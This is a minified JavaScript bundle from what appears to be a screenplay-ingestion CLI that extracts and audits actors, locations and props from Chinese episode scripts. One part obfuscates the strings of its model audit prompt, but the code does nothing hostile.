oh(t.executor,d,p,La(n,p),h,n,t.signal);t.checkpoint?.writeNameFix?.(d,p,x.raw),as(n,x.delta,d,p)}}Cg(n);for(let _=jp(n);_;_=jp(n)){let x=_[0].startEp,E=_[_.length-1].endEp,A=t.force?void 0:t.checkpoint?.readArc?.(x,E),k;if(A!==void 0)k=A,i++,t.executor.recordReuse("ingest.arc-summary");else{let N=_.map(M=>`${Bp(M)}\uFF1A${M.line}`).join(`
259
- `);k=await Kg(t.executor,`\u7B2C${x}\u96C6\u2013\u7B2C${E}\u96C6`,N,t.signal),t.checkpoint?.writeArc?.(x,E,k)}Tg(n,k)}t.onWindow?.({startEp:d,endEp:p,ms:Date.now()-y,cached:w,index:a,total:s.length,totalEpisodes:o.length})}return{...OI(e,n),episodes:o.length,reused:i}}function AI(e,t){let n=new Set,o=i=>{if(!i)return;let r=$o(t,i);dt(r)||zt(t,r)||n.add(r)};for(let i of e)for(let r of i.scenes){o(r.location?.name);for(let s of r.actors)o(s.name);for(let s of r.actions)s.speaker&&"name"in s.speaker&&o(s.speaker.name)}return[...n]}var kI={interior:"\u5185",exterior:"\u5916"},bI={day:"\u65E5",night:"\u591C"};function vI(e){let t=[`# ${e.episode_id}${e.title?` ${e.title}`:""}`];for(let n of e.scenes){t.push(`## ${n.scene_id}`);let o=[kI[n.environment?.space??""],bI[n.environment?.time??""]].filter(Boolean).join(" ");o&&t.push(`\u65F6\u7A7A\uFF1A${o}`),n.location?.name&&t.push(`\u5730\u70B9\uFF1A${n.location.name}`),n.actors.length&&t.push(`\u5728\u573A\uFF1A${n.actors.map(i=>i.state?`${i.name}\u3010${i.state}\u3011`:i.name).join("\u3001")}`),n.props.length&&t.push(`\u9053\u5177\uFF1A${n.props.map(i=>i.state?`${i.name}\u3010${i.state}\u3011`:i.name).join("\u3001")}`);for(let i of n.actions){let r=i.speaker?"name"in i.speaker?i.speaker.name:`[${i.speaker.kind}]`:"",s=i.emotion?`\uFF08${i.emotion}\uFF09`:"";i.type==="dialogue"?t.push(`${r}${s}\uFF1A${i.content}`):i.type==="inner_thought"?t.push(`${r}\uFF08\u5FC3\uFF09${s}\uFF1A${i.content}`):i.type==="transition"?t.push(`\u3010\u8F6C\u573A\u3011${i.content}`):t.push(i.content)}}return t.join(`
260
- `)}function OI(e,t){let n=JSON.parse(JSON.stringify(e)),o=new Map;for(let c of n.episodes)for(let a of c.scenes){let d=g=>!!zt(t,g),p=a.location?$o(t,a.location.name):null,l=ih(a.actors.map(g=>$o(t,g.name)).filter(g=>!dt(g)&&d(g))),f=ih(a.props.map(g=>$o(t,g.name)).filter(d)),u=[];for(let g of a.actions)if(g.speaker&&"name"in g.speaker){let w=$o(t,g.speaker.name);dt(w)?g.speaker={kind:"group",label:w}:(g.speaker.name=w,d(w)&&u.push(w))}for(let g of u)l.some(w=>Si(w)===Si(g))||l.push(g);let y=new Map;for(let g of t.lookChanges[a.scene_id]??[]){let w=$o(t,g.entity),h=y.get(w)??[];h.includes(g.look)||h.push(g.look),y.set(w,h),o.set(w,g.look)}let m=g=>y.get(g)?.map(w=>({name:g,state:w}))??[rh(t,g,o)];a.location=p&&d(p)?rh(t,p,o):null,a.actors=l.flatMap(m),a.props=f.flatMap(m)}let i=Ma(n),r=i.script;LI(r,t),NI(r);let s=Ca(r);return MI(s),UI(s),{doc:s,identityKeys:i.identityKeys}}var RI="\u5E38\u6001";function ih(e){let t=new Set;return e.filter(n=>{let o=Si(n);return!n||t.has(o)?!1:(t.add(o),!0)})}function rh(e,t,n){let o=zt(e,t),i=n.get(t)??(o?Kp(o):void 0)??RI;return{name:t,state:i}}function MI(e){for(let t of["actors","locations","props"])for(let n of At(e[t])?e[t]:[])if(It(n))for(let o of At(n.states)?n.states:[])It(o)&&o.state_id==="default"&&o.state_name==="default"&&(o.state_name="\u5E38\u6001")}function LI(e,t){for(let[n,o]of[["actors","actor_name"],["locations","location_name"],["props","prop_name"]])for(let i of At(e[n])?e[n]:[]){if(!It(i))continue;let r=zt(t,String(i[o])),s=At(i.states)?i.states:[];if(r){r.description&&(i.description=r.description),r.aliases.length&&(i.aliases=[...new Set([...At(i.aliases)?i.aliases:[],...r.aliases])]);let c=Kp(r),a=c?r.looks.find(d=>Si(d.name)===Si(c))?.description??"":"";for(let d of s){if(!It(d))continue;if(d.state_id==="default"){a&&(d.description=a);continue}let p=r.looks.find(l=>Si(l.name)===Si(String(d.state_name)));p?.description&&(d.description=p.description)}}}}function NI(e){let t=new Map,n=new Map,o=new Map,i=0,r=c=>{typeof c=="string"&&(t.has(c)||t.set(c,i),n.set(c,i),o.set(c,(o.get(c)??0)+1))};for(let c of At(e.episodes)?e.episodes:[])if(!(!It(c)||!At(c.scenes)))for(let a of c.scenes){if(!It(a))continue;let p=[...At(a.actors)?a.actors:[],...At(a.props)?a.props:[],...It(a.location)?[a.location]:[]].filter(It).map(l=>l.actor_id??l.prop_id??l.location_id);for(let l of p)r(l);for(let l of At(a.actions)?a.actions:[])It(l)&&It(l.speaker)&&typeof l.speaker.actor_id=="string"&&r(l.speaker.actor_id),i++}let s=c=>(o.get(c)??0)>=2&&n.get(c)-t.get(c)>=SI;for(let[c,a]of[["actors","actor_id"],["props","prop_id"]])for(let d of At(e[c])?e[c]:[])It(d)&&(d.importance=s(String(d[a]))?"featured":"background");for(let c of At(e.locations)?e.locations:[])It(c)&&(c.importance="featured")}function UI(e){let t=n=>typeof n=="string"?n.trim():"";for(let[n,o]of[["actors","actor_name"],["locations","location_name"],["props","prop_name"]])for(let i of At(e[n])?e[n]:[]){if(!It(i))continue;let r=String(i[o]??""),s=At(i.states)?i.states:[];if(!t(i.description))throw new S(`Ingested asset "${r}" is missing its identity description.`,{exitCode:b,errorCode:"ASSET_DESCRIPTION_MISSING",hint:"Rerun `scriptctl ingest --force` so the serial asset window can regenerate this entity."});for(let c of s){if(!It(c)||t(c.description))continue;let a=String(c.state_name??"");throw new S(`Ingested asset "${r}" has no visual description for look "${a}".`,{exitCode:b,errorCode:c.state_id==="default"?"DEFAULT_LOOK_DESCRIPTION_MISSING":"LOOK_DESCRIPTION_MISSING",hint:"Rerun `scriptctl ingest --force` so the serial asset window can regenerate this look."})}}}var Ln=e=>typeof e=="object"&&e!==null&&!Array.isArray(e),io=e=>Array.isArray(e)?e:[],Xe=e=>typeof e=="string"?e.trim():"";function ol(e){return e.normalize("NFKC").toLowerCase().replace(/[\p{White_Space}\p{P}\p{S}]+/gu,"")}var PI={actor:{list:"actors",id:"actor_id",name:"actor_name"},location:{list:"locations",id:"location_id",name:"location_name"},prop:{list:"props",id:"prop_id",name:"prop_name"}},ph=(e,t,n=8)=>{!t||e.includes(t)||e.length>=n||e.push(t)};function lh(e){let t=Ln(e)?e:{},n={actor:[],location:[],prop:[]},o=new Map;for(let c of["actor","location","prop"]){let a=PI[c];for(let d of io(t[a.list])){if(!Ln(d))continue;let p=Xe(d[a.id]),l=Xe(d[a.name]);if(!p)continue;let f=[...new Set(io(d.aliases).map(Xe).filter(Boolean))],u=new Map,y=[];for(let g of io(d.states)){if(!Ln(g))continue;let w=Xe(g.state_id);if(!w)continue;let h=Xe(g.state_name),_={address:`${p}/${w}`,state_id:w,state_name:h,description:Xe(g.description),format_key:ol(h),reference_count:0,episode_count:0,scene_count:0,references:[],frequency_flag:null,episodeIds:new Set,sceneIds:new Set};y.push(_),u.set(w,_)}let m={kind:c,id:p,name:l,aliases:f,description:Xe(d.description),importance:Xe(d.importance),format_key:ol(l),alias_format_keys:f.map(ol),reference_count:0,episode_count:0,scene_count:0,references:[],states:y,episodeIds:new Set,sceneIds:new Set,stateById:u};n[c].push(m),o.set(p,m)}}let i=c=>{let a=io(c.state_ids).map(Xe).filter(Boolean);if(a.length>0)return[...new Set(a)];let d=Xe(c.state_id);return d?[d]:[]},r=(c,a,d,p,l,f)=>{let u=o.get(a);if(!u||u.kind!==c)return;u.reference_count+=1,u.episodeIds.add(p),u.sceneIds.add(`${p}/${l}`),ph(u.references,f);let y=d.length>0?d:u.stateById.has("default")?["default"]:[];for(let m of y){let g=u.stateById.get(m);g&&(g.reference_count+=1,g.episodeIds.add(p),g.sceneIds.add(`${p}/${l}`),ph(g.references,f))}};for(let c of io(t.episodes)){if(!Ln(c))continue;let a=Xe(c.episode_id)||"<episode>";for(let d of io(c.scenes)){if(!Ln(d))continue;let p=Xe(d.scene_id)||"<scene>",l=`${a}/${p}`;Ln(d.location)&&r("location",Xe(d.location.location_id),i(d.location),a,p,`${l}.location`);for(let f of io(d.actors))Ln(f)&&r("actor",Xe(f.actor_id),i(f),a,p,`${l}.actors`);for(let f of io(d.props))Ln(f)&&r("prop",Xe(f.prop_id),i(f),a,p,`${l}.props`);io(d.actions).forEach((f,u)=>{if(!Ln(f)||!Ln(f.speaker))return;let y=Xe(f.speaker.actor_id);y&&r("actor",y,i(f.speaker),a,p,`${l}#${u+1}.speaker`)})}}let s=c=>{c.episode_count=c.episodeIds.size,c.scene_count=c.sceneIds.size;for(let a of c.states)a.episode_count=a.episodeIds.size,a.scene_count=a.sceneIds.size,a.frequency_flag=a.state_id==="default"?null:a.scene_count===0?"unused":a.scene_count===1?"singleton":null;return{kind:c.kind,id:c.id,name:c.name,aliases:c.aliases,description:c.description,importance:c.importance,format_key:c.format_key,alias_format_keys:c.alias_format_keys,reference_count:c.reference_count,episode_count:c.episode_count,scene_count:c.scene_count,references:c.references,states:c.states.map(a=>({address:a.address,state_id:a.state_id,state_name:a.state_name,description:a.description,format_key:a.format_key,reference_count:a.reference_count,episode_count:a.episode_count,scene_count:a.scene_count,references:a.references,frequency_flag:a.frequency_flag}))}};return{title:Xe(t.title),actors:n.actor.map(s),locations:n.location.map(s),props:n.prop.map(s)}}var D=un,fh=["id",D(38),D(13),D(90),D(40),D(34),D(6),D(82),D(35),D(62)];function sl(){let e=["yxnZzxrFAwrZ","DgL0Bgv8","5l6l5AAc44co5P6x5PYj57kU44cp5zkm44co5P6xioACIEEYRUoaJ+wpQUAyR+AGVow8J+s4JEwqJo+8Jos9HUs4JEIdVEwpQUAmIEwqJEENSoEBUos8Vow6PUwqIow5TUoaGUw/HEMHU+E7VowqIos6UUEjQEwfS+EZU+oaGEwjP+AdHEI6Q+s7VEoaGEwKLUIYJoApJ+I/SooaGEIHJos4UUI9QoI/UEoaGEwVUEEzVEw9KUwXNUoaGEwhUUEoSos9JEE9RUwsJoI3QoMBHUI/NUE7REAaP+wiPoAwREoaGUwNK+wqJEEBUos8VooaGEI6Q+s7VEEBUoI/KEAiLUE7J+w4UowqJoAHHUEAHos4JEwqJos6UUEjQEE7NEs4JEIdVEIVR+wqIooaGG","zxbPC29Kzv9JB3vUDa","CMvMzxjLBMnLCW","ywrKCMvZCW","C2nLBMvZ","5lQu44cb5A6H6k6H6l6555wm5lIo6l6t5yE6","6lcd55sOigvTAxrFyxnZzxrFyxvKAxqG5BEL5yw36l+u5zUE5A6H6k6H57Ut5P6C44cc","5Q+p5lIQ6zEU6Aky5B+f6Ag757Uz5yE65yw35l2t6k+b5O2U5zkm5Pon5l2C5BU66k6U44cc6AUy572U5l+H5BQM5lUn5y+Q5PIV5BU66k6U77YB5A2y5zYO5yAY56Qb5OIw5PEG5Rov56gU6k6K5PE2igfJDgLVBJ1YzxzPzxFJGifJB25MAwrLBMnLpwXVDYdMIjyGBwvKAxvT44cc","zhvWBgLJyxrLx3bYB3a","zNjLCxvLBMn5","z2vUzxjHDgvuB29S","ywXPyxnLCW","qsdOOyZOOAJNPlRKUidPOBNOTytKUQFJGilLJRVMJONLVidLPltNMOqGqsdLKi7VViZLKitLIjFKU47LT6BLIldLJ7pLM7RLRPRKUlRVVjO","zNjLCxvLBMn5x2zSywC","zxzPzgvUy2u","C3rHDgvZ","BgvUz3rO","CMvMzxjLBMnLx2nVDw50","6l6t5ywL5PIV5A6m5Pw06lwe5lQN55M76k6W55Qe57sN5yEr6kgm5BYp5B+R54wN77Ym5lIn5PIViePtt07JGilNRkZKUidOOyWGqvntrvrFqvvesvrFu05bufnit1rFvJeG5PIV5y2p6k6U54Mi5PYS77YBDgL0Bgv8powjP+wqJt4G5PIV5yMN5zcn77YBqv9dt0Xvtu5tl1nFq09mvu1ouYdMMk/LIjFLRPRKUyNVViZKUi3MMk/OTytKUQFMLBdMJA7VVjTBywn0B3jZoK5D44cbw2XVy2f0Aw9UCZPoxEoaGvTWCM9WCZPoxsdLIiBLIkVLVidLP4VKURRNIANJGihLNldNGRNJGihPGzpLHBFLIiBLJlRVViXoioAyR+IVPEwiHUwmUUI1Hos6P+AvSow5TUwgS+wUMUwfTUs4RsbbioIHJoEAHoI1Hos6P+EXU+wEI+oaGG","CMv2Awv3","5Qoa5P+L5zcm5lIa5lIQ54MP55cg5zYW54k55OIw5zcm5lIa5lU25yw35l2t6ygt5yw35PIV5zcM5zUG5zcn56EW44cb5yMn5zco57Ya44cb5B2s5BgE5O+p6l+W44cb566a56EW44cb566a57Mb5l2t44cb6l2S5B2v5BEU5BYc5OIw6kEc5A+F6kEs5BQM5lIn5zcm6icm6yEn5Asn55M76k6W44cc5yY65yIg5zcm5lIa5zYW54k555Qe5lIn5zcm5zcn56EW5lIo5zcm5lIa5BU6562r5lIT55Qe5lIn5zcm54US56Ul56M66zE077Ym5lMF5yY65yIg5zcm5lIa5lU25yw35l2t6ygt5yw35lIo5zcm57g75l2g5A6E6zMf5lIn5zcm55Qe5AsA5lU26ygt5yw344cc","yxnZzxqGyxvKAxqGCMvZCg9UC2uGBxvZDcbIzsbHiePtt04GB2jQzwn0","CMvJB21Tzw5KyxrPB24","AgLNAa","zw1PDf9HC3nLDf9HDwrPDa","Bg93","ywn0Aw9U","C3rHDgvFAwrZ","zMLSDgvY","qvntrvrFqvvesvrFu05bufnit1rFvJe","zM9YBwf0x2TLEsdLJ6RMIPJLJ6dNQBRNMB3JGihMOiFNGRNJGihLPkFLSi/LHPNJGihLHAJLJyROP5lNRyNMOlZLVi/LT67LVilVViZMMk/LJ6ZLM57OR4hMJA7OGiZKUi3MMk/LKiZKUidLRP7KVzpNMOtMNidNU4JNU5pORRRJGii","AxnbCNjHEq","zxbPC29Kzxm","zgvZy3jPChrPB24","CMvWBgfJzq","BwvKAxvT","BMfTzq","u19dt0Xvtu5tFa","CMvMCW","5l2G5Q2J5zYO5A+55lIa6yoO5BEY57Up5A6m5OIq6kEJ5P6q55Qe5A6m5Pw05yMN5PYS6l+B6kgm5ywO5Bga6lwe5lQN5lIa6iE05OcN5A6H6k6H44cc55UU5Qch5PIV5y+r546W5zcm5lIa5A6E5l2t6kkR6yEn5Asn5BU65QgJ44cb5zcm5lIa56IZ5A6A6kEg6kEj54Q25Ocb6kkR6yEn5Asn5OUg5yIg77Ym5lUL5y+k6zI25Q615Asw6lkm6kkR6zsz6k+V5zci5BM244cb57Ui5Ocb5Asw6lkm5RgH5P+t5ywO5Bga6lQR5lU95zkm5l2o6Akr5BYc5BI454Q25Ocb44cc","DgL0Bgu","5RkH5PYj6zEU6Aky5PE2igLZC3vLCYdKVkdNQBRMLBdNU4tJGii","AgfZ","AM9PBG","qv9dt0Xvtu5tFa","ywn0B3jZ","B2jQzwn0","C3rHDgvFBMfTzq","DhLWzq","C3vNz2vZDgvKx3n1CNzPDM9Y","5y+Q5BYv55sO6l6t5ywL5lIT55YF5A6E5A2y5zYO55QeigfZC2v0l3n0yxrLigLK77YB5y+Q6l6t5yE656gU5A6E5y+V55Ar44cb6zYa6kAb5zci5BM2l+wiOoMzPc/KURRLT6xNOA7ORQtNMOtPOBNNM67VViZNOA7ORQtLKiJNKiBNMOtOTytKUQFMIjBKVy7POPhNIRBMGihKUi3OPOhOVPpLH7RJGilKUi3OPOhNM7tMJQxKV67MLlNLIAFMNkZJGii","5yIK5PAT5Qch5yEg5lIn5PIV5zcn56EW5PIV5zcM5lIa6iE077Ym6icm5PIV5PIV5zcM55YF55Qe6zYa6kAb5yIg5yIR5yI25l2C54US56Ul44cb5y+V5Asn55sO55Qe6kEg6kEj5y+c6icd6lwe5lQN44cc6kEg6kEj5lI75l2t5zkm5OYb57UT5Asw6kEc5lIa6iE05PE25BU66k6U5B2s5BM277YB5PIo56gU5O2I6kof44cb56wB55Ey44cb5yEp6yEn44cb6kgW6icb44cb5y+y6lQR44cb5O2F5Q+b44cb5OYb57UT5lYK5yQ/5OIw5yw25lUw5OYb57UT5OcN5y+y5yYw5yIz5l+D5OYb54US56Ul44cc5zcm5Awx6kgJ5PYn5lIn6k+b5PIo5zcm5lIa54Q25Ocb77YB5Qoa5P+L5ywO5BgaigrLC2nYAxb0Aw9UioAyR+wqPUAkIUwqJUACN+AxOoErLEoaGEE6PoEyPUETIEMyTUAUTEEjUEw+GEAoQow5V+wfQowjP++8JoAiLUs4Gos4QIbZDgf0zsdLKiZML7BMIB/OVB3LHRlNQOhPMlBMRRxJGilOV5NNSBVPL67POPJKVB/NLkGGBMvLzhnFAhvTyw5FCMv2Awv344cbywn0Aw9UpxjLDMLLD++8JowgMEAyJUwgSUEQGEApJ+I/Sos4JUw3SUACIEw8LEEuQowCSowDGooaGUw/Q+EfP+AYOEACIEwoN+EjH+wsJowUJoAvToATO+AwH++8Jos4JEIdVEIhHUwUMUwpMoI6Q+AxTUEcUEAiLUwhREwjP+wqJEEBToAoPEAlHUwiHUoaGG","ChjVChm","zhvWBgLJyxrLx2XVy2f0Aw9U","6yEn54k55Qoa5P+L6z2EigrLzMf1BhqG5lIu5PYQ6kkR5BYv55sO44cb5y+Q5zYO5lIa5lIQ5zY65PMV5yE6546W44cb5yE6546W5zco56Ul5y2Z5OgI5Asn5y6F54Q25Ocb44cb5lIo5yMn5zco54Q25Ocb5yEG5lMo55U45zcm5OIw5A6E6zMf5BgE5lQo5Oof57UQl+wNV+wkVY/LIQJKVzWV5ywj57Q/l+EERoAxTUI/H+EOI+EAHoEkTUAaGEoaGUs9JUMIKEs4JEETIEs6JUMuMEIVR++8MUAyJUEHRUwVUEw6LowfS+MuRUAnOUIJHEoaGEwjP+AdHEs6I+s7TUoaGEAmGEE7REs8PowkV+oaGEwpMoI6Q+AiLUw/HEIMGEINHUINIEwpMowmLUAxTUw6Los/NEEvME+8Jos4JEIMGEI+K+whUUs4UUMxRUMIMooaGUIVGEAnRUs4JEI2S+AxTIbHy3rPB249CMv2Awv344cc","C3vZCgLJAw91C19ZAw5NBgv0B25FC3rHDgu","6kEJ5P6q6kEe5yIz77YA5y+Q5zYO5PYQ6l2S5lMj55QeihWG5Ase5yIg5yIx77Ym5y+Q5zYO5PYQ6l2S5lMj55QeidSG5Ase5yIg6zQuigfSAwfZzxmVzxzPzgvUy2vFCMvMCYdLIjFOOAJVVjSTioIHQoEKUUEPUUwaVoAiLUAxOoMIKEEoH+AGH+IUSo+8M1X844cbxdVJGifCBUoaGvXCiowiHUwiQ+IHQoEKUUwTL+AUTEwgHEwUUEs4REEAHoERLUE6V+oaGEwiHUwpT+oaGEAnOUIHJowsJowpJEAwNoADOooaGUs4JEIMGEAkIIbbx0nptfvntLmVu19dt0Xvtu5tiow9K+s9NowUNUs9K++8Jos5N+s4JEIMGEAkIIbtioIHJoI3QoI1Hos6P+w9KUwXNUoaGG","zMXHDe1HCa","5zUB44cb5zYW54k55lIo6ygt5yw35lIa6iE05OcN","44ccAwqG5PIV6lwe5lQNieLe77YBBMfTzsdMMk/OP4tOJipLKi3VVjTHBgLHC2vZioAyR+wiQ+wqJEwiL+IHQo+8M2LTCg9YDgfUy2uG5PIV6yEn6kAb5BQM77YBCMvMCY9LCgLZB2rLCY9Zy2vUzxmG5PIV5BYv55sO5QYH5PwW44cb6kAg55Uw6zUg5PwW44cb6kAg55Uw5zY65PwW77YBzM9YBwf0x2TLEsdMMk/KU4xMTOJPMAtMOlZLVi/LMARLO7dNMOtLKi3NP7dPLk7VVjTKzxnJCMLWDgLVBIdMMk/OTytKUQFMJ4/OV7dVVjTLDMLKzw5Jzv9YzwzZioAyR+wWKEMhJ+wUNUMzHEw8LEEuQos9JEE9RUoaGG","zxzPzgvUy2vFCMvMCW","C3rYAw5N","C2nLBMvFy291BNq","BMvLzhnFAhvTyw5FCMv2Awv3","Aw5Nzxn0lMfZC2v0lwf1zgL0","C3rHDgvFAwrZiow/HEMHU+wHQ+wgMEI+K+wfPEMhJoEAHowUJoAvToEkTUAaGsbHzgrYzxnZ77YipgfZC2v0x2LKpI88C3rHDgvFAwq+77Yj77Ym5lIn6io95y+Q5yAz5y+V6io95zYO5AsA5lIQ6lwe5lQN5lIl6yEn5Asn55Qe5Bga6yoOihn0yxrLx2LK44cc","ihWG","BwfW","Dw51C2vKx3n0yxrL","ChvZAa","Aw5WDxq","AxnZDwvZ","6l+z6yEm5Qoa5P+L5zkm5BU66k6U5zci5BM255Qe5PIV6yEn5AsnigXVy2f0Aw9UioI1Hos6P++8Jos4JEAyRYbZy2vUzEoaGUEBUowqJowCSoEcUEwpR+s7PEAjV+I9VEwKMUs4QUs4JEwqJowjP+AdHEwCUUASOE+8Jos4JEIdVEwBOos4UUwCSoEcUEEBUowqJowWSEwqIow5TIbZy2vUzEoaGG","5lIa44cb5lQ654MP6lQR5lU95lIa6iE05OcN","y29UzMLKzw5Jzq","uYdOOyZOOAJNPlRNIRBMGihLUBBPMRBLSz7KUO7LKiZKUidLIiBLJlRKUk3NTkFPGRVLHBBKUiRNMOqGqsdOOyZJGilLJRVMJONLVidLPltNMOqGuYdLKi7VViZLKitLIjFKU47LT6BLIldLJ7pLM7RLRPRKUlRVVjO","zgvSzxrL","44ccywrKCMvZCYdMMk8GpgfZC2v0x2LKpI88C3rHDgvFAwq+iow9OUw8J+EAHowfQowXGoEkTUAaGEwCSowDGo+8M25HBwuG5PIV54Q25Ocb5zcn77YBCMvMCY9LCgLZB2rLCY9Zy2vUzxmG5zcR5lMj5zcm5lIk77YBzNjLCxvLBMn5ios4UIb1BNvZzwtJGifZAw5NBgv0B24G5OIwic3VVjTKzxnJCMLWDgLVBIdMMk/NIRBMGihOP4BOP4NMJ4/OV7dVVjTLDMLKzw5Jzv9YzwzZioAyR+IVPEEkTUAaGEEAHowUNUMzHEw8LEEuQos9JEE9RUoaGG","zhvWBgLJyxrLx2fJDg9Y","Bg9JyxrPB25Z","zM9YBwf0x2TLEq","5Qoa5P+L5zcm5lIa5lIQ5lQ654MP5PIV5zcM5zUG5zcn56EW6kgO6l6+5lIn5zcm6kkR55M76k6W5OIq5AsA5lIQigfJDg9Y44cc5BEU5BYc5yYf5OUS5l2g5lIn6zMq5lQo77YA56M65Qc844cb5Qch54k544cb5AsN5Bcp5yAz44cb5ywO5y2k6kEs44cb566a57Mb5l2t77YB5ywO5zcn44cb566a56EW44cb5PI156EW44cb56EW6lct44cb6igm5l2n44cb5PEN5zcn44cb5yYw5zcn44cb6k+r5zcn44cb6z+Z6k+r77YB5yIg6k+n5BEU5BYc44cb6l275B6U6zsz5yIR5A2x44cb6l2S5B2v6k+V5BEU77YB5zcn56EW6zMe5BIM6lQR5lU944cb5Oof57UQ44cb5A+555M95OIw54Q25Ocb6k+05PIo77YB5yMn5PYF6lQR5lU95PYQ5PIo44cb5zco5PYF5y+i5lUL55YF5zcn6yEn5PAW55M76k6W44cc","5zYO5zcm5lIa5lIQ5lQ654MP44cb5zYW54k55OIw6ygt5yw35yAf6yoO77Ym5Qoa5P+L5PIV5zcM5zUG5O+p6l+W5PA55BYp44cb6AkC6iMY57ks5BQM44cb5O6Q6l6E6k+M55wL5OIw6kEc5A+F6kEs5BQM5lIn5zcm77Ym5OQk5zcm5lIa5lIQ56IZ5A6A6kEg6kEj54Q25Ocb5OUg5OIq5AsA5lIQihn0yxrL44cc6yEn54k55ywZ5RoO5zcm5lMjl+I/KEs5IEEkTUAaGEoaGEwqJos4GowLL+ACJEIJHEIIQ+MhJEAwSowrVEwqJEoaGEs7HEwfIEE6V+AiLUwXGoMdQoE7HUIkGUMaOoAiKoEAHow3RUw8GU+8Jos7PEwpIUEkTUAaGEwqJEA3T+wfPEAdHEE7QUoaGEwkQos9NoAiLUwCUUAzR+IVToAyJUoaGG","BwvYz2u","zhvWBgLJyxrLx3n0yxrL","BMfTzxm","vw9trNG","6l+u5zUE5ywO5yMN6lwe5lQN5lIa6iE05OcN5A6H6k6H5y+r546W","Aw1WB3j0yw5Jzq","5lQm44cb6kEg6kEj54Q25Ocb5lIa6iE05OcN","5lIj44cb5l2o6Akr5lIo5BYc5BI454Q25Ocb","DhjPBq"];return sl=function(){return e},sl()}var mh=[D(5),D(38),D(40),D(34),D(6),D(11),D(82),D(35),D(62)],CI=[D(41),D(20),D(14)+fh[D(45)](D(68))+D(61),D(77)+mh[D(45)](D(68))+D(79),D(58),D(32),"",D(75),D(83),D(2),"",D(91),D(84),D(53),"",D(92),D(56),"",D(60),D(22),D(74),"",D(7),D(52),D(9),D(8),D(67),D(43)][D(45)](`
261
- `),TI=new Set([D(80),D(55),D(10),D(86),D(57),D(70),D(65)]),VI=new Set([D(85),D(78),D(21)]),$I=new Set([D(25),D(37),D(27)]);function ln(e){let t=D,n=e[t(93)]();return n?n[t(36)](/\\/g,"\\\\")[t(36)](/\r\n?|\n/g,"\\n")[t(36)](/\|/g,"\\|")[t(36)](/;/g,"\\;"):"-"}function il(e){let t=D;return e[t(18)]>0?e[t(69)](ln)[t(45)](";"):"-"}function DI(e){let t=D,n=[t(31),t(1)+ln(e[t(42)]),t(46)+fh[t(45)]("|"),t(39)+mh[t(45)]("|")],o=(i,r)=>{let s=t;n[s(71)]("["+i+":"+r[s(18)]+"]");for(let c of r)if(s(88)!==s(88)){_0x4c5672[s(71)](["A",_0x3346d3(_0x10ff10.id),_0x491f28(_0x2e3418[s(38)]),_0x43a7a6(_0x21c903[s(13)]),_0x59e3d3(_0x33921a[s(90)]),_0x5b4072(_0x3f99c5[s(19)]),_0x1e2ca7(_0x46d1f3[s(3)]),_0x7f6b22(_0xcfe569[s(64)]),_0x376ad7(_0x21b2b4[s(82)]),_0x4dc2db(_0xcd97ac[s(35)]),_0x390c6b(_0x4f88f5[s(4)])][s(45)]("|"));for(let a of _0xef23b5[s(17)])_0x5593cc[s(71)](["S",_0x265c62(a[s(5)]),_0x1ae902(a[s(49)]),_0xabc48e(a[s(19)]),_0x4a1d6b(a[s(3)]),_0x514694(a[s(64)]),a[s(15)]??"-",_0x5aa3d6(a[s(82)]),_0x32748e(a[s(35)]),_0x3d8f50(a[s(4)])][s(45)]("|"))}else{n[s(71)](["A",ln(c.id),ln(c[s(38)]),il(c[s(13)]),ln(c[s(90)]),String(c[s(19)]),String(c[s(3)]),String(c[s(64)]),ln(c[s(82)]),ln(c[s(35)]),il(c[s(4)])][s(45)]("|"));for(let a of c[s(17)])n[s(71)](["S",ln(a[s(5)]),ln(a[s(49)]),String(a[s(19)]),String(a[s(3)]),String(a[s(64)]),a[s(15)]??"-",ln(a[s(82)]),ln(a[s(35)]),il(a[s(4)])][s(45)]("|"))}};return o(t(47),e[t(47)]),o(t(81),e[t(81)]),o(t(54),e[t(54)]),n[t(45)](`
262
- `)}function un(e,t){e=e-0;let n=sl(),o=n[e];if(un.qyTtRy===void 0){var i=function(c){let a="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=",d="",p="";for(let l=0,f,u,y=0;u=c.charAt(y++);~u&&(f=l%4?f*64+u:u,l++%4)?d+=String.fromCharCode(255&f>>(-2*l&6)):0)u=a.indexOf(u);for(let l=0,f=d.length;l<f;l++)p+="%"+("00"+d.charCodeAt(l).toString(16)).slice(-2);return decodeURIComponent(p)};un.uxwRFZ=i,un.OXUPnC={},un.qyTtRy=!0}let r=n[0];un.TDHWfX!==r&&(un.OXUPnC={},un.TDHWfX=r);let s=un.OXUPnC[e];return s===void 0?(o=un.uxwRFZ(o),un.OXUPnC[e]=o):o=s,o}var uh=e=>typeof e===D(48)&&e!==null&&!Array[D(33)](e),gh=e=>Array[D(33)](e)?e:[],Ii=e=>typeof e===D(63)?e[D(93)]():"",rl=e=>[...new Set(gh(e)[D(69)](Ii)[D(30)](Boolean))];function GI(e,t){let n=D;if(!uh(e))throw new Error(n(23));let o=new Set([...t[n(47)],...t[n(81)],...t[n(54)]][n(69)](s=>s.id)),i=new Set([...t[n(47)],...t[n(81)],...t[n(54)]][n(59)](s=>s[n(17)][n(69)](c=>c[n(5)]))),r=[];for(let s of gh(e[n(73)])){if(!uh(s))continue;let c=Ii(s[n(50)]),a=Ii(s[n(28)]),d=Ii(s[n(76)]);if(!TI[n(44)](c)||!VI[n(44)](a)||!$I[n(44)](d))continue;let p=rl(s[n(0)])[n(30)](y=>o[n(44)](y)),l=rl(s[n(29)])[n(30)](y=>i[n(44)](y));if(p[n(18)]===0&&l[n(18)]===0)continue;let f=Ii(s[n(51)]),u=f&&(o[n(44)](f)||i[n(44)](f))?f:null;r[n(71)]({type:c,asset_ids:p,state_ids:l,names:rl(s[n(87)]),evidence:Ii(s[n(16)]),recommendation:Ii(s[n(24)]),suggested_survivor:u,action:a,confidence:d})}return r}async function hh(e,t,n){let o=D,i=await e[o(12)](o(66),{system:CI,user:DI(t),tool:{name:o(26),description:o(89),inputSchema:Qg},...n?{signal:n}:{}});return GI(i[o(72)],t)}var yh="1",BI=(e,t)=>{if(e===null||typeof e!="object"||Array.isArray(e))return!1;let n=e;return n.audit_version===yh&&n.script_hash===t&&n.summary!==null&&typeof n.summary=="object"&&Array.isArray(n.issues)};function JI(e,t){return{audit_version:yh,script_hash:e,created_at:new Date().toISOString(),summary:{issues:t.length,high:t.filter(n=>n.confidence==="high").length,medium:t.filter(n=>n.confidence==="medium").length,low:t.filter(n=>n.confidence==="low").length},issues:t}}async function al(e,t,n){let o=Je(e),i=lh(e),r=await hh(t,i,n);return 